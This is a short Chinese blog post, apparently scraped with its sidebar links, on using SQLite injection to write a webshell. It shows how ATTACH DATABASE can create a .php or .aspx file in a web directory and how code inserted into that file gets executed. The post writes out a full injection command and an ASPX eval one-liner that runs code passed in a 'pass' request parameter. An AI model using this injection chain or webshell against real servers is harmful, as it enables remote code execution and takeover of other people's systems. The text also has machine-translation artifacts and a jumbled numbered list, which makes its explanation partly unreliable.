SQLite扫描
2024-08-30 04:58:24
SQLite的扫盲
SQLite的是一种嵌入式数据库,它的数据库就是一个文件。由于SQLite的本身是Ç写的,而且体积很小,所以经常被集成到各种应用程序中,主要在手机的应用中使用。
之前没有遇到过关于SQLite的的注入,这次遇到一个在ASPX中使用的SQLite数据库,并且存在注入。
SQLite的一个重要的特性是零配置的,这意味着不需要复杂的安装或管理。
SQLite的的语法和其他数据库差不多,只不过的SQLite的数据库是一个单独的文件.SQLite创建数据库的方法有两种,一种是创建,另外一种是附加。
创建使用命令:sqlite3.exe 数据库文件名。例如创建一个名字为aa.db的数据库,使用命令:sqlite3.exe aa.db。
例如附加一个bb.db的数据库,别名为a,命令为:attach database 'd:\sqlite\bb.db' as 'a';。
创建表并插入数据的命令如下:
create table a.tt(dataz text); INSERT into a.tt(dataz) VALUES ('test');
SQLite还可以生成任意后缀名的数据库文件。例如创建一个php结尾的数据库文件,新建一个名为exp的表,并在其中插入数据,内容为:
<?php phpinfo();?>
。
具体命令:
```sqlite>ATTACH DATABASE 'd:\\sqlite\\23.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?php phpinfo();?>');--
9. 同样的方法生成aspx后缀的数据库文件,创建表,并插入<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>。然后将该文件放在IIS服务的web目录。发现其中的APSX代码也会被解析。
10. 通过以上的测试过程和实际利用,可以归纳两点:
11. SQLite可以创建任意格式的数据库文件,并且插入的代码可以根据文件格式来解析,这就造成了可以利用这种方式写WEBSHELL的原因。
2.SQLite中十六进制的写法为:x'....',而不是0x....。
参考:```https://fuping.site/2017/07/19/SQLite-Injection-Get-WebShell/```
最新文章
- Python实战:扫描key完整性
- VS2013各个版本秘钥
- Java中从控制台输入数据的几种常用方法
- js argument实参集合与局部变量、参数关系
- jquery中$(";#afui";).get(0)为什么要加get(0)呢?
- DOM(四)事件流
- canva实践小实例 —— 马赛克效果
- poj1556The Doors
- VBS_For_next
- 写给自己的Java程序员学习路线图
- linux 获取文件系统信息(磁盘信息)
- Jenkins - 持续集成环境搭建【转】
- CSharpGL(45)自制控件的思路
- Android为TV端助力之Webview与JS双向交互
- Idea查看并过滤某个接口或者类的实现
- FLV 封装格式解析
- db2 性能查看top sql
- babel使用入门以及使用webpack+babel来";编译";你的JS代码
- CPA定律——一致性,可用性和分区容错性
- WordPress插件Social Warfare<;=3.5.2 无需登录RCE漏洞
热门文章
- 使用Hydra对ssh和rdp进行爆破的简单明令
- linux中强大的编辑工具vim
- 记录一个关于 Document.on绑定事件后,导致页面卡顿的情况
- webpack打包工具之ts版开发框架搭建
- Comet OJ - Contest #10 鱼跃龙门 exgcd+推导
- 灰度图像--图像分割 Robert算子
- AcWing:149. 荷马史诗(哈夫曼编码 + k叉哈夫曼树)
- POJ 3694 Network ——(桥 + LCA)
- Spring Boot 入门之消息中间件篇(转发)
- 解决Vue在IE中报错出现不支持=>;等ES6语法和“Promise”未定义等问题